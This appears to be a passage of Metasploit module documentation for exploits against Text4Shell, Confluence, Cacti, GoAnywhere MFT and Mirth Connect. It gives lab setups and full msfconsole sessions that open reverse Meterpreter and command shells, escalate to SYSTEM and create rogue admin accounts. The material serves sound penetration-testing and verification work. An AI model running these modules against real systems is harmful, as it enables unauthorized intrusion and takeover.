URIPATH no The URI to use for this exploit (default is random)
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen
|
||||
on all addresses.
|
||||
SRVPORT 5000 yes The local port to listen on.
|
||||
|
||||
|
||||
Payload options (windows/x64/meterpreter/reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
|
||||
LHOST 172.18.168.145 yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
1 Windows EXE Dropper
|
||||
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 exploit(multi/http/apache_commons_text4shell) > run
|
||||
|
||||
[*] Started reverse TCP handler on 172.18.168.145:4444
|
||||
[*] Command Stager progress - 17.01% done (2046/12025 bytes)
|
||||
[*] Command Stager progress - 34.03% done (4092/12025 bytes)
|
||||
[*] Command Stager progress - 51.04% done (6138/12025 bytes)
|
||||
[*] Command Stager progress - 68.06% done (8184/12025 bytes)
|
||||
[*] Command Stager progress - 84.24% done (10130/12025 bytes)
|
||||
[*] Sending stage (200774 bytes) to 172.18.160.1
|
||||
[*] Command Stager progress - 100.00% done (12025/12025 bytes)
|
||||
[*] Meterpreter session 5 opened (172.18.168.145:4444 -> 172.18.160.1:53165) at 2024-01-15 00:14:33 +0530
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : HOME
|
||||
OS : Windows 11 (10.0 Build 22631).
|
||||
Architecture : x64
|
||||
System Language : en_GB
|
||||
Domain : WORKGROUP
|
||||
Logged On Users : 2
|
||||
Meterpreter : x64/windows
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
Target: Windows Command
|
||||
```
|
||||
msf6 exploit(multi/http/apache_commons_text4shell) > options
|
||||
|
||||
Module options (exploit/multi/http/apache_commons_text4shell):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
METHOD GET yes The HTTP method to use (Accepted: GET, POST)
|
||||
PARAM search yes The vulnerable parameter
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS 172.18.160.1 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
|
||||
RPORT 8080 yes The target port (TCP)
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
SSLCert no Path to a custom SSL certificate (default is randomly generated)
|
||||
TARGETURI text4shell/attack yes The target URI
|
||||
URIPATH no The URI to use for this exploit (default is random)
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen
|
||||
on all addresses.
|
||||
SRVPORT 5000 yes The local port to listen on.
|
||||
|
||||
|
||||
Payload options (cmd/windows/powershell/meterpreter/reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
|
||||
LHOST 172.18.168.145 yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
2 Windows Command
|
||||
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 exploit(multi/http/apache_commons_text4shell) > run
|
||||
|
||||
[*] Started reverse TCP handler on 172.18.168.145:4444
|
||||
[*] Sending stage (175686 bytes) to 172.18.160.1
|
||||
[*] Meterpreter session 6 opened (172.18.168.145:4444 -> 172.18.160.1:53170) at 2024-01-15 00:15:18 +0530
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : HOME
|
||||
OS : Windows 11 (10.0 Build 22631).
|
||||
Architecture : x64
|
||||
System Language : en_GB
|
||||
Domain : WORKGROUP
|
||||
Logged On Users : 2
|
||||
Meterpreter : x86/windows
|
||||
meterpreter >```
|
||||
@@ -0,0 +1,141 @@
|
||||
## Vulnerable Application
|
||||
This module exploits an SSTI injection in Atlassian Confluence servers. A specially crafted HTTP request uses the
|
||||
injection to evaluate an OGNL expression resulting in OS command execution.
|
||||
|
||||
Confluence versions up to and including 8.5.3 are vulnerable to this SSTI injection flaw. For more complete information
|
||||
on affected and fixed versions, see [CONFSERVER-93833][1].
|
||||
|
||||
### Setup
|
||||
|
||||
1. Create a new `docker-compose.yml` file with the contents below.
|
||||
2. Startup the container using `docker-compose up`
|
||||
3. Navigate to the HTTP service running on port 8090
|
||||
4. Acquire and provide an evaluation license
|
||||
5. When prompted, setup a standalone / non-clustered system
|
||||
6. Configure the database settings
|
||||
1. Select "By connection string", then Database URL: `jdbc:postgresql://postgresql:5432/confdb`
|
||||
2. Username and password are both `confdb`
|
||||
7. Setup takes a few minutes
|
||||
8. When prompted, select "Empty Site"
|
||||
9. Select "Manage users and groups within Confluence"
|
||||
10. Create an account, it **will not** be needed for exploitation
|
||||
11. Once setup has completed select "Start" and set a space name to something
|
||||
|
||||
#### Docker Compose File
|
||||
|
||||
```
|
||||
version: '3'
|
||||
|
||||
services:
|
||||
postgresql:
|
||||
image: postgres:11
|
||||
environment:
|
||||
POSTGRES_DB: confdb
|
||||
POSTGRES_USER: confdb
|
||||
POSTGRES_PASSWORD: confdb
|
||||
ports:
|
||||
- '5432:5432'
|
||||
|
||||
confluence-server:
|
||||
depends_on:
|
||||
- postgresql
|
||||
image: atlassian/confluence:8.5.3
|
||||
ports:
|
||||
- '8090:8090'
|
||||
- '8091:8091'
|
||||
```
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Follow the steps from the Setup section to create a test instance
|
||||
2. Start msfconsole
|
||||
3. Run: `use exploit/multi/http/atlassian_confluence_rce_cve_2023_22527`
|
||||
4. Set the `RHOSTS`, `PAYLOAD` and payload-related options
|
||||
5. Run the module
|
||||
|
||||
## Options
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Confluence 8.5.3 in [Docker]
|
||||
|
||||
```
|
||||
msf6 exploit(multi/http/atlassian_confluence_rce_cve_2023_22527) > set RHOSTS 192.168.159.128
|
||||
RHOSTS => 192.168.159.128
|
||||
msf6 exploit(multi/http/atlassian_confluence_rce_cve_2023_22527) > set TARGET Unix\ Command
|
||||
TARGET => Unix Command
|
||||
msf6 exploit(multi/http/atlassian_confluence_rce_cve_2023_22527) > set PAYLOAD cmd/unix/python/meterpreter/reverse_tcp
|
||||
PAYLOAD => cmd/unix/python/meterpreter/reverse_tcp
|
||||
msf6 exploit(multi/http/atlassian_confluence_rce_cve_2023_22527) > set LHOST 192.168.159.128
|
||||
LHOST => 192.168.159.128
|
||||
msf6 exploit(multi/http/atlassian_confluence_rce_cve_2023_22527) > set VERBOSE true
|
||||
VERBOSE => true
|
||||
msf6 exploit(multi/http/atlassian_confluence_rce_cve_2023_22527) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.159.128:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Detected Confluence version: 8.5.3
|
||||
[*] Detected target platform: Linux
|
||||
[+] The target is vulnerable. Successfully tested OGNL injection.
|
||||
[*] Executing cmd/unix/python/meterpreter/reverse_tcp (Unix Command)
|
||||
[*] Sending stage (24772 bytes) to 192.168.159.128
|
||||
[*] Meterpreter session 8 opened (192.168.159.128:4444 -> 192.168.159.128:52920) at 2024-01-24 12:45:59 -0500
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: confluence
|
||||
meterpreter > sysinfo
|
||||
Computer : c38aa4f3b92e
|
||||
OS : Linux 6.6.11-200.fc39.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jan 10 19:25:59 UTC 2024
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Meterpreter : python/linux
|
||||
meterpreter > pwd
|
||||
/var/atlassian/application-data/confluence
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
### Confluence 8.5.3 on Windows Server 2019
|
||||
|
||||
```
|
||||
msf6 exploit(multi/http/atlassian_confluence_rce_cve_2023_22527) > set RHOSTS 192.168.159.10
|
||||
RHOSTS => 192.168.159.10
|
||||
msf6 exploit(multi/http/atlassian_confluence_rce_cve_2023_22527) > set TARGET Windows\ Command
|
||||
TARGET => Windows Command
|
||||
msf6 exploit(multi/http/atlassian_confluence_rce_cve_2023_22527) > set PAYLOAD cmd/windows/powershell/x64/meterpreter/reverse_tcp
|
||||
PAYLOAD => cmd/windows/powershell/x64/meterpreter/reverse_tcp
|
||||
msf6 exploit(multi/http/atlassian_confluence_rce_cve_2023_22527) > set LHOST 192.168.159.128
|
||||
LHOST => 192.168.159.128
|
||||
msf6 exploit(multi/http/atlassian_confluence_rce_cve_2023_22527) > set VERBOSE true
|
||||
VERBOSE => true
|
||||
msf6 exploit(multi/http/atlassian_confluence_rce_cve_2023_22527) > exploit
|
||||
|
||||
[*] Powershell command length: 4371
|
||||
[*] Started reverse TCP handler on 192.168.159.128:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Detected Confluence version: 8.5.3
|
||||
[*] Detected target platform: Windows Server 2019
|
||||
[+] The target is vulnerable. Successfully tested OGNL injection.
|
||||
[*] Executing cmd/windows/powershell/x64/meterpreter/reverse_tcp (Windows Command)
|
||||
[*] Sending stage (200774 bytes) to 192.168.159.10
|
||||
[*] Meterpreter session 9 opened (192.168.159.128:4444 -> 192.168.159.10:58923) at 2024-01-24 12:47:39 -0500
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: NT AUTHORITY\NETWORK SERVICE
|
||||
meterpreter > getsystem
|
||||
...got system via technique 4 (Named Pipe Impersonation (RPCSS variant)).
|
||||
meterpreter > getuid
|
||||
Server username: NT AUTHORITY\SYSTEM
|
||||
meterpreter > sysinfo
|
||||
Computer : DC
|
||||
OS : Windows Server 2019 (10.0 Build 17763).
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Domain : MSFLAB
|
||||
Logged On Users : 9
|
||||
Meterpreter : x64/windows
|
||||
meterpreter > pwd
|
||||
C:\Program Files\Atlassian\Confluence
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
[1]: https://jira.atlassian.com/browse/CONFSERVER-93833
|
||||
@@ -0,0 +1,244 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This exploit module leverages a SQLi (CVE-2023-49085) and a LFI (CVE-2023-49084) vulnerability in Cacti versions prior to 1.2.26 to achieve RCE. Authentication is needed and the account must have access to the vulnerable PHP script (`pollers.php`). This is granted by setting the `Sites/Devices/Data` permission in the `General Administration` section.
|
||||
|
||||
The module implements a `check` method that makes sure `pollers.php` is accessible. It also tries to run a basic time-cased SQL injection that will confirm if the application is vulnerable. It also bypass the [fix](https://github.com/Cacti/cacti/commit/4beb66dbe2c571c3216834c029bde2e951b401cf#diff-60434fdc6c83f03e69846c2640319eeee39da1b477e76e1ca0dca0519bbc9651) added in version 1.2.25.
|
||||
|
||||
The exploit will do the following:
|
||||
- Login with the provided credentials
|
||||
- Perform a series of SQL injections to:
|
||||
- backup the current log file path and add a new path to the `settings` table
|
||||
- insert the new log file path to the External Links table (`external_links`)
|
||||
- add permission to access this external link to the current user (`user_auth_realm`)
|
||||
- Poison the log file to add the payload stager
|
||||
- Trigger the payload by accessing the external link page (`link.php)`
|
||||
- Cleanup the SQL tables that were modified to their original states
|
||||
- Remove the new log file that contains the stager
|
||||
|
||||
### Docker installation of Cacti version 1.2.25
|
||||
- Create the following files (based on the files from [here](https://github.com/vulhub/vulhub/tree/master/cacti/CVE-2022-46169)):
|
||||
- `docker-compose.yml`:
|
||||
```
|
||||
version: '2'
|
||||
services:
|
||||
web:
|
||||
build: ./cacti
|
||||
ports:
|
||||
- "8080:80"
|
||||
depends_on:
|
||||
- db
|
||||
entrypoint:
|
||||
- bash
|
||||
- /entrypoint.sh
|
||||
volumes:
|
||||
- ./entrypoint.sh:/entrypoint.sh
|
||||
command: apache2-foreground
|
||||
db:
|
||||
image: mysql:5.7
|
||||
environment:
|
||||
- MYSQL_ROOT_PASSWORD=root
|
||||
- MYSQL_DATABASE=cacti
|
||||
```
|
||||
- `entrypoint.sh`:
|
||||
```
|
||||
#!/bin/bash
|
||||
set -ex
|
||||
|
||||
wait-for-it db:3306 -t 300 -- echo "database is connected"
|
||||
if [[ ! $(mysql --host=db --user=root --password=root cacti -e "show tables") =~ "automation_devices" ]]; then
|
||||
mysql --host=db --user=root --password=root cacti < /var/www/html/cacti/cacti.sql
|
||||
mysql --host=db --user=root --password=root cacti -e "UPDATE user_auth SET must_change_password='' WHERE username = 'admin'"
|
||||
mysql --host=db --user=root --password=root cacti -e "SET GLOBAL time_zone = 'UTC'"
|
||||
fi
|
||||
|
||||
chown www-data:www-data -R /var/www/html
|
||||
# first arg is `-f` or `--some-option`
|
||||
if [ "${1#-}" != "$1" ]; then
|
||||
set -- apache2-foreground "$@"
|
||||
fi
|
||||
|
||||
exec "$@"
|
||||
```
|
||||
- Create a `./cacti/` directory with `mkdir cacti`
|
||||
- Add the following files in the `./cacti/` folder (based on the files from [here](https://github.com/vulhub/vulhub/tree/master/base/cacti/1.2.22):
|
||||
- `Dockerfile`:
|
||||
```
|
||||
FROM php:7.4-apache
|
||||
|
||||
RUN apt-get update && \
|
||||
apt-get install -y --no-install-recommends rrdtool snmp wget ca-certificates libsnmp-dev default-mysql-client \
|
||||
wait-for-it libjpeg62-turbo-dev libpng-dev libfreetype6-dev libgmp-dev libldap2-dev libicu-dev
|
||||
|
||||
RUN docker-php-ext-configure gd --with-freetype --with-jpeg &&\
|
||||
docker-php-ext-configure intl &&\
|
||||
docker-php-ext-configure pcntl --enable-pcntl &&\
|
||||
docker-php-ext-install pdo_mysql snmp gmp ldap sockets gd intl pcntl gettext
|
||||
|
||||
RUN mkdir /var/www/html/cacti &&\
|
||||
wget -qO- https://files.cacti.net/cacti/linux/cacti-1.2.25.tar.gz | tar zx -C /var/www/html/cacti --strip-components 1
|
||||
|
||||
COPY config.php /var/www/html/cacti/include/config.php
|
||||
COPY cacti.ini /usr/local/etc/php/conf.d/cacti.ini
|
||||
```
|
||||
- `cacti.ini`
|
||||
```
|
||||
display_errors=off
|
||||
memory_limit=512M
|
||||
date.timezone=UTC
|
||||
max_execution_time=120
|
||||
```
|
||||
- `config.php`
|
||||
```
|
||||
<?php
|
||||
$database_type = 'mysql';
|
||||
$database_default = 'cacti';
|
||||
$database_hostname = 'db';
|
||||
$database_username = 'root';
|
||||
$database_password = 'root';
|
||||
$database_port = '3306';
|
||||
$database_retries = 5;
|
||||
$database_ssl = false;
|
||||
$database_ssl_key = '';
|
||||
$database_ssl_cert = '';
|
||||
$database_ssl_ca = '';
|
||||
$database_persist = false;
|
||||
$poller_id = 1;
|
||||
$url_path = '/cacti';
|
||||
$cacti_session_name = 'Cacti';
|
||||
$cacti_db_session = false;
|
||||
$disable_log_rotation = false;
|
||||
```
|
||||
- Run `docker-compose up`
|
||||
- Access http://127.0.0.1:8080
|
||||
- Login with the `admin` user (password: `admin`)
|
||||
- Follow the installation steps (accept every default settings and ignore the pre-installation checks suggestions)
|
||||
|
||||
Note that other version can be installed this way by changing the `tar` file name in `Dockerfile` (`cacti-1.2.25.tar.gz`).
|
||||
|
||||
|
||||
### Cacti on Windows
|
||||
Download and run a Cacti installer from [here](https://files.cacti.net/cacti/windows/Archive/). The `admin` password should be put in a file called `Cacti-Passwords.txt` by the installer, which is in the same location the installer was run.
|
||||
Follow the same installation steps as for the Docker installation.
|
||||
|
||||
|
||||
### Setup a new user
|
||||
- Login with the `admin` user (password: `admin`)
|
||||
- Go to `Configuration` > `Users`
|
||||
- Click on the `+` sign
|
||||
- Enter the `User Name`, `Password` and check the `Enabled` option.
|
||||
- Click `Create`
|
||||
- Go to the `Permissions` tab and set the `Sites/Devices/Data` permission in `General Administration`
|
||||
- Click `Save`
|
||||
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
1. Start msfconsole
|
||||
1. Do: `use exploit/multi/http/cacti_pollers_sqli_rce`
|
||||
1. Do: `set target <target>`
|
||||
1. Do: `set payload <payload>`
|
||||
1. Do: `run rhost=<target address> rport=<target port> lhost=<local address> username=<username> password=<password>`
|
||||
1. You should get a shell.
|
||||
|
||||
## Options
|
||||
|
||||
### USERNAME
|
||||
The user to login with (default `admin`).
|
||||
|
||||
### PASSWORD
|
||||
The password to login with (default `admin`)
|
||||
|
||||
### TARGETURI
|
||||
The base URI of Cacti (default `/cacti`).
|
||||
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Cacti version 1.2.25 on Docker installation
|
||||
```
|
||||
msf6 exploit(multi/http/cacti_pollers_sqli_rce) > set target 0
|
||||
target => 0
|
||||
msf6 exploit(multi/http/cacti_pollers_sqli_rce) > set payload cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
payload => cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
msf6 exploit(multi/http/cacti_pollers_sqli_rce) > run rhost=127.0.0.1 rport=8080 lhost=192.168.144.1 username=msfuser password=12345678
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.144.1:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Checking Cacti version
|
||||
[+] The web server is running Cacti version 1.2.25
|
||||
[*] Attempting login with user `msfuser` and password `12345678`
|
||||
[+] Logged in
|
||||
[*] Checking permissions to access `pollers.php`
|
||||
[*] Attempting SQLi to check if the target is vulnerable
|
||||
[+] The target is vulnerable.
|
||||
[*] Backing up the current log file path and adding a new path (log/cacti520.log) to the `settings` table
|
||||
[*] Inserting the log file path `log/cacti520.log` to the external links table
|
||||
[*] Getting the user ID and setting permissions (it might take a few minutes)
|
||||
[*] Logging again to apply new settings and permissions
|
||||
[*] Getting the CSRF token to login
|
||||
[*] Attempting login with user `msfuser` and password `12345678`
|
||||
[+] Logged in
|
||||
[*] Poisoning the log
|
||||
[*] Triggering the payload
|
||||
[*] Sending stage (3045380 bytes) to 192.168.144.1
|
||||
[*] Cleaning up log file
|
||||
[*] Meterpreter session 8 opened (192.168.144.1:4444 -> 192.168.144.1:51181) at 2024-01-29 22:00:19 +0100
|
||||
[*] Cleaning up external link using SQLi
|
||||
[*] Cleaning up permissions using SQLi
|
||||
[*] Cleaning up the log path in `settings` table using SQLi
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: www-data
|
||||
meterpreter > sysinfo
|
||||
Computer : 172.25.0.3
|
||||
OS : Debian 11.5 (Linux 6.5.11-linuxkit)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
```
|
||||
|
||||
### Cacti version 1.2.24 on Windows 11
|
||||
```
|
||||
msf6 exploit(multi/http/cacti_pollers_sqli_rce) > set target 1
|
||||
target => 1
|
||||
msf6 exploit(multi/http/cacti_pollers_sqli_rce) > set payload cmd/windows/http/x64/meterpreter/reverse_tcp
|
||||
payload => cmd/windows/http/x64/meterpreter/reverse_tcp
|
||||
msf6 exploit(multi/http/cacti_pollers_sqli_rce) > run rhost=192.168.144.134 lhost=192.168.144.1 username=msfuser password=12345678
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.144.1:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Checking Cacti version
|
||||
[+] The web server is running Cacti version 1.2.24
|
||||
[*] Attempting login with user `msfuser` and password `12345678`
|
||||
[+] Logged in
|
||||
[*] Checking permissions to access `pollers.php`
|
||||
[*] Attempting SQLi to check if the target is vulnerable
|
||||
[+] The target is vulnerable.
|
||||
[*] Backing up the current log file path and adding a new path (log/cacti715.log) to the `settings` table
|
||||
[*] Inserting the log file path `log/cacti715.log` to the external links table
|
||||
[*] Getting the user ID and setting permissions (it might take a few minutes)
|
||||
[*] Logging again to apply new settings and permissions
|
||||
[*] Getting the CSRF token to login
|
||||
[*] Attempting login with user `msfuser` and password `12345678`
|
||||
[+] Logged in
|
||||
[*] Poisoning the log
|
||||
[*] Triggering the payload
|
||||
[*] Sending stage (200774 bytes) to 192.168.144.134
|
||||
[*] Cleaning up log file
|
||||
[*] Meterpreter session 7 opened (192.168.144.1:4444 -> 192.168.144.134:64144) at 2024-01-29 21:58:59 +0100
|
||||
[*] Cleaning up external link using SQLi
|
||||
[*] Cleaning up permissions using SQLi
|
||||
[*] Cleaning up the log path in `settings` table using SQLi
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: NT AUTHORITY\SYSTEM
|
||||
meterpreter > sysinfo
|
||||
Computer : DESKTOP-26CQRHP
|
||||
OS : Windows 11 (10.0 Build 22000).
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Domain : WORKGROUP
|
||||
Logged On Users : 2
|
||||
Meterpreter : x64/windows
|
||||
```
|
||||
@@ -0,0 +1,166 @@
|
||||
## Vulnerable Application
|
||||
This module exploits a vulnerability in Fortra GoAnywhere MFT that allows an unauthenticated attacker to
|
||||
create a new administrator account. This can be leveraged to upload a JSP payload and achieve RCE. GoAnywhere
|
||||
MFT versions 6.x from 6.0.1, and 7.x before 7.4.1 are vulnerable.
|
||||
|
||||
## Testing
|
||||
To test use Fortra GoAnywhere 7.4.0. You will need to register for a trial from the Fortra website in order to
|
||||
receive a 30 day trial license. The portal where you receive a trial license will only let you download the most
|
||||
recent version of the product, so you will also need to have access to an installer for an older, vulnerable version
|
||||
of the product to install and test on.
|
||||
|
||||
## Verification Steps
|
||||
The exploits default target 0 (Automatic), will detect the target systems OS, so you do not need to specify the target
|
||||
OS (Linux or Windows).
|
||||
|
||||
1. Start msfconsole
|
||||
2. `use exploit/multi/http/fortra_goanywhere_mft_rce_cve_2024_0204`
|
||||
3. `set RHOST <TARGET_IP_ADDRESS>`
|
||||
4. `set target 0`
|
||||
5. `set PAYLOAD java/jsp_shell_reverse_tcp`
|
||||
6. `check`
|
||||
7. `exploit`
|
||||
|
||||
## Options
|
||||
|
||||
### GOANYWHERE_INSTALL_PATH
|
||||
This is the file system path to the GoAnywhere MFT installation. If the target is set to `Automatic`, then this path
|
||||
will be discovered automatically.
|
||||
|
||||
## Scenarios
|
||||
The Automatic target will detect the GoAnywhere MFT servers OS and select the correct target, or you can explicitly
|
||||
select a target platform (Linux or Windows).
|
||||
|
||||
### Automatic (Linux)
|
||||
|
||||
```
|
||||
msf6 exploit(multi/http/fortra_goanywhere_mft_rce_cve_2024_0204) > show options
|
||||
|
||||
Module options (exploit/multi/http/fortra_goanywhere_mft_rce_cve_2024_0204):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS 10.100.1.30 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-meta
|
||||
sploit.html
|
||||
RPORT 8001 yes The target port (TCP)
|
||||
SSL true no Negotiate SSL/TLS for outgoing connections
|
||||
TARGETURI /goanywhere/ yes The base path to the web application
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Payload options (java/jsp_shell_reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
LHOST 10.100.1.10 yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
SHELL no The system shell to use.
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Automatic
|
||||
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 exploit(multi/http/fortra_goanywhere_mft_rce_cve_2024_0204) > check
|
||||
[*] 10.100.1.30:8001 - The target appears to be vulnerable. GoAnywhere MFT 7.4.0
|
||||
msf6 exploit(multi/http/fortra_goanywhere_mft_rce_cve_2024_0204) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 10.100.1.10:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable. GoAnywhere MFT 7.4.0
|
||||
[*] Created account: uchvkpgt:ZindpxggDdvtrxu3
|
||||
[*] Automatic targeting, detected OS: Linux
|
||||
[*] Automatic targeting, detected install path: /opt/HelpSystems/GoAnywhere
|
||||
[*] Dropped payload: /opt/HelpSystems/GoAnywhere/adminroot/EIlMlYdQ.jsp
|
||||
[+] Deleted /opt/HelpSystems/GoAnywhere/adminroot/EIlMlYdQ.jsp
|
||||
[!] Tried to delete /opt/HelpSystems/GoAnywhere/userdata/documents/uchvkpgt/EIlMlYdQ.jsp, unknown result
|
||||
[+] Deleted /opt/HelpSystems/GoAnywhere/userdata/documents/uchvkpgt/
|
||||
[*] Command shell session 4 opened (10.100.1.10:4444 -> 10.100.1.30:49572) at 2024-01-29 17:49:08 +0000
|
||||
|
||||
id
|
||||
uid=1002(gamft) gid=1002(gamft) groups=1002(gamft)
|
||||
pwd
|
||||
/opt/HelpSystems/GoAnywhere
|
||||
uname -a
|
||||
Linux ubuntu-test-vm 6.5.0-15-generic #15~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Fri Jan 12 18:54:30 UTC 2 x86_64 x86_64 x86_64 GNU/Linux
|
||||
exit
|
||||
[*] 10.100.1.30 - Command shell session 8 closed.
|
||||
msf6 exploit(multi/http/fortra_goanywhere_mft_rce_cve_2024_0204) >
|
||||
```
|
||||
|
||||
### Automatic (Windows)
|
||||
|
||||
```
|
||||
msf6 exploit(multi/http/fortra_goanywhere_mft_rce_cve_2024_0204) > show options
|
||||
|
||||
Module options (exploit/multi/http/fortra_goanywhere_mft_rce_cve_2024_0204):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS 10.100.1.20 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-meta
|
||||
sploit.html
|
||||
RPORT 8001 yes The target port (TCP)
|
||||
SSL true no Negotiate SSL/TLS for outgoing connections
|
||||
TARGETURI /goanywhere/ yes The base path to the web application
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Payload options (java/jsp_shell_reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
LHOST 10.100.1.10 yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
SHELL no The system shell to use.
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Automatic
|
||||
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 exploit(multi/http/fortra_goanywhere_mft_rce_cve_2024_0204) > check
|
||||
[*] 10.100.1.20:8001 - The target appears to be vulnerable. GoAnywhere MFT 7.4.0
|
||||
msf6 exploit(multi/http/fortra_goanywhere_mft_rce_cve_2024_0204) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 10.100.1.10:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable. GoAnywhere MFT 7.4.0
|
||||
[*] Created account: ckgbeqlo:ib0Qk3cMDvnaipTP
|
||||
[*] Automatic targeting, detected OS: Windows
|
||||
[*] Automatic targeting, detected install path: C:\Program Files\Fortra\GoAnywhere
|
||||
[*] Dropped payload: C:\Program Files\Fortra\GoAnywhere\adminroot\b9OvIFdK.jsp
|
||||
[!] Tried to delete C:\Program Files\Fortra\GoAnywhere\adminroot\b9OvIFdK.jsp, unknown result
|
||||
[!] Tried to delete C:\Program Files\Fortra\GoAnywhere\userdata\documents\ckgbeqlo\b9OvIFdK.jsp, unknown result
|
||||
[*] Command shell session 9 opened (10.100.1.10:4444 -> 10.100.1.20:57059) at 2024-01-29 16:31:01 +0000
|
||||
[!] This exploit may require manual cleanup of 'C:\Program Files\Fortra\GoAnywhere\userdata\documents\ckgbeqlo\' on the target
|
||||
|
||||
|
||||
Shell Banner:
|
||||
Microsoft Windows [Version 10.0.20348.1607]
|
||||
(c) Microsoft Corporation. All rights reserved.
|
||||
-----
|
||||
|
||||
|
||||
C:\Program Files\Fortra\GoAnywhere>whoami
|
||||
whoami
|
||||
nt authority\system
|
||||
|
||||
C:\Program Files\Fortra\GoAnywhere>exit
|
||||
exit
|
||||
[*] 10.100.1.20 - Command shell session 9 closed.
|
||||
msf6 exploit(multi/http/fortra_goanywhere_mft_rce_cve_2024_0204) >
|
||||
```
|
||||
@@ -0,0 +1,121 @@
|
||||
## Vulnerable Application
|
||||
A vulnerability exists within Mirth Connect due to its mishandling of deserialized data. This vulnerability
|
||||
can be leveraged by an attacker using a crafted HTTP request to execute OS commands within the context of the
|
||||
target application. The original vulnerability was identified by IHTeam and assigned CVE-2023-37679. Later,
|
||||
researchers from Horizon3.ai determined the patch to be incomplete and published a gadget chain which bypassed
|
||||
the deny list that the original had implemented. This second vulnerability was assigned CVE-2023-43208 and was
|
||||
patched in Mirth Connect version 4.4.1. This module has been tested on versions 4.1.1, 4.3.0 and 4.4.0.
|
||||
|
||||
### Setup (Linux with Docker)
|
||||
|
||||
